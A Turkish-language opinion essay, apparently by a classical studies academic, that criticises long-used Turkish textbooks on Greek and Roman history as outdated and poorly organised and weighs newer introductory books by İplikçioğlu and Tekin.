Temel kitapları küçümsenecek türden eserler değildir. Yazacağınız uygarlık hakkında genel ve kapsayıcı bilgiye sahip olmalı, eksik kaldığınız yerlerde nerelere başvurabileceğinizi bilmelisiniz. Geniş bir perspektiften bakabilmeye, bir uygarlığın dinamiklerini ve uzun vadeli süreçlerini kavramaya yakın olmanız gerekir. Spesifik bir konu üzerine yazmaya benzemez; damıtılmış bilgi ister. Salt bilgi de yeterli değil, aynı zamanda o bilgiyi doğru şekilde vermek özellikle böyle bir kitap için önemli. Peki Avrupa ve ABD kaynaklı temel kitapları çok mu iyi? Elbette hepsi için böyle bir şey söyleyemeyiz, ama oralarda her yıl çıkan böyle kitapların sayısı oldukça fazla. Yani bizim gibi bir-iki kitaba mahkûm olmak gibi bir sorunu yok insanların. Alternatifler mevcut ve bunlar da belirli bir düzeye gelmiş akademisyenler tarafından yazılıyor, ciddi yayınevleri tarafından da basılıyor.

Türkiye’de temel alan kitapları konusunda yaşanan fakirlik hocaların elini kolunu bağlıyor maalesef. Bu türden kitapların azlığı eski kitapları kullanmaya zorluyor bizi. Fakat ne kadar zorlarsa zorlasın bence bu eserler asla kaynak olarak gösterilmemeli, zira çok eskiler. Mesela ilk akla gelen örneklerden biri kaçınılmaz olarak Arif Müfit Mansel’in ilk kez 1947’de basılmış Ege ve Yunan Tarihi adlı eseri. Ben öğrenciyken almamız gerektiği söylenen kitapların başında geliyordu ve eminim şimdi de çoğu öğrencinin kitaplığında vardır. Ege ve Yunan Tarihi gibi, Oktay Akşit’in Roma İmparatorluk Tarihi ve Halil Demircioğlu’nun Roma Cumhuriyet Tarihi kitapları da oldukça eski. İlki 1985, ikincisi ise 1953’te basılmış. Yazıya genel olarak bu üç kitap üzerinden devam etmeyi düşünüyorum. Bu kitapların yazarları alanlarının önde gelen bilim adamları olarak saygı görmüş insanlar. Ancak bilimsel ve tarafsız olarak baktığımızda sorunlu eserler yazdıklarını itiraf etmemiz gerekir diye düşünüyorum. Ayrıca diğer disiplinler gibi Klasik bilimlerin de aradan geçen zaman içinde gelişiyor ve eski yaklaşımların da buna bağlı olarak geliştirilmesi ve yenilenmesi gerekiyor. Bu gerçeği bile bile bu kitaplar çaresizlikten de olsa tavsiye etmek çok mantıklı gelmiyor bana.

Söz konusu üç kitabın ortak özelliği belirttiğim gibi çok eski ve bence kötü anahat planlarına sahip olmaları. Yapmamız gereken ilk şey bu kitapların bir kaynak olarak gösterilmesine son verme ve okuma listelerinden çıkarma üzerine düşünmek. Bu acımasız bir karar gibi gelebilir, ancak eğer bunlar yapılmayacaksa, en azından kitapların eksik kısımlarına dikkat çekilmeli, yanlış veya artık geçerliliğini yitirmiş bilgiler konusunda açıklamalarda bulunulmalı ki, bu da bize fazladan bir yük getirecektir: kitaplar okuyup demode ve yanlış bilgileri ayıklamak, bunların yerine yeni bulguları, yaklaşımları vb. koymak için araştırma yapmak, topladıklarımızı yazıp entegre etmek vs. Yani yeni bir kitap yazmak daha kolay olabilir. Diğer bir seçenek kitapların gözden geçirilerek yeni bir edisyon olarak piyasaya sürülmesi ki, kaynak kitaplar yazmaktan pek hazzetmeyen akademi belki bu şekilde daha kolay yoldan prestijini kurtarır, tabii yazımın başındaki tespitlere uyarak… Kısacası ya kitapları hiç tavsiye etmeyeceğiz –veya uyarılarımızı yapıp tamamlayıcı güncel kaynaklarla destekleyeceğiz- ya da editörlüklerine soyunacağız. Her halükarda üç eserin de yeni baştan iyice okunup eksiklerinin tespit edilmesi ve bunların tamamlamak için rastgele okuma önerileri yapılmaması lazım. Burada üç eseri bölüm bölüm eleştirmek niyetinde değilim; sadece genel olarak eksikliklerini belirtmek istiyorum.

Mansel’in kitabı kapsam açısından etkileyici ve Türk Klasik bilimlerinde benzeri yok gibi bir şey. Kitabın şekilsel olarak en önemli eksiği antik kelimelerin yazılışı sanırım. O dönem için normal bir durum bu, ancak günümüzde hem imla kılavuzları hem de akademi  bunların orijinal yazımını tercih ediyor. En meşhur örnek herhalde Sparta’nın “Isparta” olarak yazılması. Bunun gibi birçok demode yazım var. Bunların düzeltilmesi gerekiyor. Ancak o kadar çoklar ki birinci sınıf öğrencilerini bu yazılışlarla baş başa bırakmak tehlikeli.  Kitabın Arkaik ve Klasik dönemlerle ilgili kısımları Atina merkezli bir anlatıma sahip. Bu durum tarih ve arkeoloji açısından kısmen Atina’yla ilgili yazılı kaynakların bolluğundan kaynaklanmakla birlikte, Yunan dünyasını sadece Atina’dan ibaret görmek ve aynı Atina gibi diğer şehirlerin de demokrasiyle yönetildiğini, ona paralel şekilde geliştikleri yanılgısını da beraberinde getiriyor ne yazık ki. Bu açıdan söz konusu bölümlerin “yanlı” bilgiler verdiğini söylemek yanlış olmayacak. Felsefe, mimari, sanat gibi alanların ayrı bölümlerde ele alınması normal, ancak kitap söz konusu alanlar arasındaki sıkı bağları ve bunların tarihsel gelişimle olan ilişkilerini göz ardı ederek alt bölümleri kendi içlerinde kapalı işlemiş. Yani diğer bir deyişle bölümler arasında organik bir bağ nerdeyse hiç yok. Hellenistik Dönem ana başlığı da az çok önceki bölümleri izlemekte ve benzer sorunlarda mustarip. Bu arada Minos ve Miken arkeolojisi hakkında öyle önemli gelişmeler oldu ki, kitaptaki bilgilerin çok demode kaldığını söylemek lazım. Kitabın bölümleri bazı dönemlerin kendine özgü niteliklerinden ileri gelen özel alt bölümleri saymazsak genel olarak aynı çizgide ilerliyor: Önce tarih, arkasından sırayla edebiyat, din, felsefe, tıp, sahne sanatları, mimarlık, heykeltıraşlık vb. ele alınıyor. Ancak günümüzün benzer eserlerinde bölümlemeler bu kadar basit değil. Örneğin Robin Osborne’un Greece in the Making 1200-479 BC adlı eserini ele alalım. Buradaki başlıklar Mansel’den sonra Klasik bilimlerin nasıl değiştiğini göstermeye yeter: Reforming Communities: The Seventh Century, Inter-Relating Cities, Competing in a Pan-Hellenic World, Monumentalising the City gibi… Burada Klasik öncesi dönemin dönüşüm, değişim, gelişme ve süreçler üzerinden ele alındığını söyleyebiliriz.

Roma Cumhuriyet Tarihi ise çok daha kötü bir örnek. O kadar fazla alt başlık var ki, insan daha içindekiler kısmında ümitsizliğe kapılıyor. Üstelik kültür, sanat, ekonomi ve din gibi unsurlara ayrılmış sayfalar tarihi anlatının yanında çok güdük kalıyor. Daha da kötüsü kitabın sonundaki beş-on resim dışında hiçbir görsel malzeme koyulmamış. Yani daha baştan ben sıkıcıyım diye bağırıyor kitap. Bu da Mansel’inki gibi herhangi bir güncelleme yapılmadan günümüze kadar varlığını sürdürmüş bir eser. Öyle ki kullanılan Türkçe günümüz öğrencileri için çok yabancı gelecektir mutlaka. Tek başlarına kitap olabilecek alt bölüm başlıkları hikaye anlatır gibi cümleler hâlinde verilmiş ve bu da metin içinde okumayı zorlaştıran kesintiler meydana getiriyor. Ege ve Yunan Tarihi’ndekilerden daha ayrıntılı bu bölümleme kitabı iyice çorbaya çeviriyor. Eksiklikler bununla da bitmiyor tabii: Ne yazık ki imparatorluk öncesi Roma tarihi nerdeyse tamamen savaşlardan, Roma’nın var olma mücadelesinden ve genişlemesinden, antlaşmalardan ibaret kitapta. Roma’nın kültürel, sanatsal, toplumsal vb. gelişimi çok kısa geçiliyor; bütün bu hengâme içinde kaybolup gidiyor. Bu yüzden çok yönlü bir çalışma olmadığı gibi, anlatılan olayların okuyucuya nefes bile aldırmadan artarda sıralanması, sabırları zorluyor. Kitabı bitirdiğinizde o kadar çok yer ve kişi ismi, tarih vb. maruz kalıyorsunuz ki sonuçta hiçbiri aklınızda kalmıyor.

Oktay Akşit’in Roma İmparatorluk Tarihi öncekinin eksikliklerini sürmekte ısrarlı. Aslında 1985 gibi nispeten daha yakın bir tarihte basılmış olmasına karşın, aynı onun gibi olayların eleştirel süzgeçten geçirilmeden sıralandığı, detayların içinde kaybolduğunuz demode bir tarihçilikle karşı karşıyayız. En büyük sorun Roma İmparatorluğu’nun imparatorlar üzerinden, onların yaptıkları işlere göre anlatılması. Bu çok hatalı bir yaklaşım, zira imparatorluğu böyle okursak uzun vadeli değişimler, dinamikler tek tek imparatorların hayatları arasında kayboluyor; bütüncül bir yaklaşıma ihtiyacımız var. Burada yapılan ise imparatorları mensubu oldukları sülaleler içinde başlık açıp doğumlarından ölümlerine kadar Allah ne verdiyse sıralamaktan ibaret. Yaklaşık 250 sayfalık kitapta “MS I ve II. Asırda Gelişmeler” başlığı sadece üç sayfadan ibaret! Augustus Döneminde eyaletler, sınıflar, senato, ordu, halk gibi başlıklar ise topu topu 15 sayfa! Yani tamamen kişilere, o kişilerin antik kaynaklardan hiç süzülmeden alınmış ayrıntılı biyografilerine, yaptıkları savaşlara ve fetihlere eğilen çok eksik ve kötü planlanmış bir eserle karşı karşıyayız.

Tek tek örnekler vermeme gerek yok; kitapları elinize alıp şöyle bir göz gezdirseniz zaten ne demek istediğimi anlarsınız. Demircioğlu ve Akşit’e göre Roma savaşlardan ve imparatorlardan ibaret, gerisi hikaye. Bu affedilmez yaklaşımın cezasını öğrenciler çekmek zorunda değil kanımca. Burada Türk klasik bilimleri için önemli iki bilim adamına dil uzattığım için beni kınayabilirsiniz, ama şunu da düşünmenizi öneririm: Demircioğlu ve Akşit nasıl olur da çağdaşları ya da öncelleri olan Rostovtzeff, Magie, Brunt, Millar, MacMullen gibi devlerden hiçbir şey öğrenmezler? İkilinin, bu bilim adamlarının nasıl tarihçilik yaptıklarını, değindikleri konuları, kaynakları nasıl ele aldıklarını, üsluplarını görmezden gelmeleri nasıl açıklanabilir? Yabancı dildeki kitaplara erişimleri, yurt dışında ilişkileri olan hem Demircioğlu hem de Akşit, maalesef dışarıda yapılan çalışmalara gözlerini kapayıp bize yavan eserler verdikleri için bence eleştirilmeyi hak ediyorlar. Kimse “o dönemin tarihçiliği buydu” demesin; bahsettiğim yabancı bilim adamları da “o dönemlerin” insanları zira. Mansel’in, Demircioğlu ve Akşit’ten birkaç gömlek üstün olduğunu söyleyebilirim. Diğerlerini kurtarmak imkansız, ama Mansel zamanında yeniden gözden geçirilmesi mümkündü. Bununla birlikte her üç kitabın da günümüzde Klasik bilimlerin eğilimlerine çok uzak kaldıklarını, zamanı geçmiş bir tarihçilik anlayışıyla kaleme alındıklarını kabul edip artık öğrencilere tavsiye ederken iki kez düşünmemiz gerektiğini kabullenelim.

Mansel ve Demircioğlu’nun kitapları aslında TTK’nın dünya tarihi serisinin birer parçası. Bu kitaplar bence planları itibarıyla Cambridge Ancient History’den (CAH) esinlenmiş olabilirler. CAH da sıkıcı elbet; okunması değil, bir başvuru eseri olarak kullanılması gerekir bence. Bu benzerliğe dayanarak üç kitabın da amaçlarına göre yazıldıklarını ve CAH’ta da benzer bölümlemeler olduğunu iddia edebilirsiniz. Yani bu kitaplar genel okuyucudan ziyade Klasik bilimler öğrencilerine, araştırmacılarına ve bu konular aşina kişilere hitap ettiği öne sürülebilir. Fakat öyle bile olsa bahsettiğim eksiklikler her kesimden okuyucu için affedilmez derecede. Ayrıca CAH’taki bölümlerin alanındaki önde gelen uzmanlar tarafından, dipnotlar, haritalar, görseller ile verildiğini ve güncellediğini unutmayalım. TTK benzer bir çalışmayla takdire şayan bir girişimde bulunmuş, fakat Mansel ve Demircioğlu’nun daha alçakgönüllü eserlerini doktora tezlerinde ya da kitaplarda kullanmak ayıplanırken CAH başvurulacak ilk eser olarak görülüyor. Yaklaşık 60 yıllık Magie ve Rostovtzeff’in hâlâ temel kaynak olduklarını saymıyorum bile. Diğer bir deyişle Mansel, Demircioğlu ve Akşit’in eserleri iler görüşlü, çığır açıcı, eleştirel, oyunun kurallarını koyan çalışmalar değiller. Yükseklisans tezlerinde bile kullanılmasına izin vermediğimiz bu eserleri lisans öğrencilerine okutmak doğru mu diye kendimize sormalıyız.

Peki, günümüzde durum nasıl? İki kitap öne çıkıyor: Bülent İplikçioğlu’unun Hellen ve Roma Tarihinin Anahatları (HRTA) ve Oğuz Tekin’in Eski Yunan ve Roma Tarihine Giriş (EYRTG) başlıklı eserleri. HRTA bildiniz gibi İplikçioğlu’nun Marmara Üniversitesi’nden çıkmış önceki iki çalışmasının birleştirilmesinden meydana geliyor. Bir temel kaynak olmaktan ziyade kısa anlatımlardan ve maddelerden meydana gelmiş bir çalışma. Bu hâliyle bir temel kaynak olmaktan uzak; fazlasıyla genel ansiklopedik bilgi veren bir kitap. Böyle bir çalışmadan CAH düzeyinde bilgi beklenemez elbet, fakat dilim giriş kitabı demeye de varmıyor; aslında ders notlarının derlenmesi sadece. 115 sayfada iki büyük uygarlığın dinamiklerini, niteliklerini, süreçlerini anlatılamayacağı için sadece olgular var. Aslında bu yazı için doğru bir örnek olduğundan bile emin değilim. Tekin’in kitabı daha iyi bir aday, ancak ne yazık ki yine tarihi olaylar ön planda; sosyokültürel, dini, idari konular ise gerilerden geliyor. Arkeoloji ve epigrafi gibi alanların tarihe desteği ise çok kısıtlı. Burada da imparatorların tek tek yaşamları bütüncül ve Roma’yı bütün yönleriyle ele alan bir çalışmanın ortaya çıkmasını engelliyor. Mesela antik çağda kadın olmak, Yunan heykeltıraşlığı ve mimarisinin gelişimi, üslupları, gömü gelenekleri, şehir planlamacılığı, felsefe, antikçağ ekonomisi, Roma ordusunun yapısı, Roma mimarisi gibi konular eksik; olaylarla kişilere dayalı tarihin hegemonyası devam ediyor. Öte yandan “Koloni Nasıl Kurulur?”, “Mitolojik Kahramanlar”, “Tragedya ve Komedya”, “Köle Ayaklanmaları ve Spartacus”; “Anadolu’da Roma İmparator Kültü”; “Roma Takvimi” vb. konuları kutular içinde veren kitap böylece bizi kuru ve didaktik bir temel kaynak olmaktan bir nebze olsun kurtuluyor. Sonuç olarak umut verici bir başlangıç ve çok daha iyilerinin de yapılması gerekiyor.

Fakat korkum o ki, Tekin’in kitabı aynı Mansel’inki gibi, kendisinden sonra hiçbir şekilde düzeltilmeden ya da daha iyisi yazılmadan kaderine terk edilecek. Ve gün gelecek benim gibi birisi bu sefer Tekin’in kitabına eleştirilerde bulunacak. 30 yıldan beri Akşit’e, 60 yıldan beri Demircioğlu ve Mansel’e rakip, onların üzerine çıkacak temel kitaplarının yazılamamış olması nasıl açıklanabilir? Türkiye Klasik bilimlere yönelik giriş/temel kitapları konusunda resmen yerlerde sürünürken, bu alanda yetişen öğrencilerin belli bir standarda erişmesi beklenebilir mi? Önce böyle kitaplar yazacak standartlarda bilim insanlarına sahip olmalıyız. Ben memlekette böyle eserler verecek kapasitede bilim adamlarının olmadığına –varsa ve yazarsa huzurunda tükürdüğümü yalamaktan büyük memnuniyet duyarım- inanıyorum. Bu durumda zaten Türk Klasik bilimleri için söylenecek fazla bir şey yok; dükkanı kapatıp dağılalım.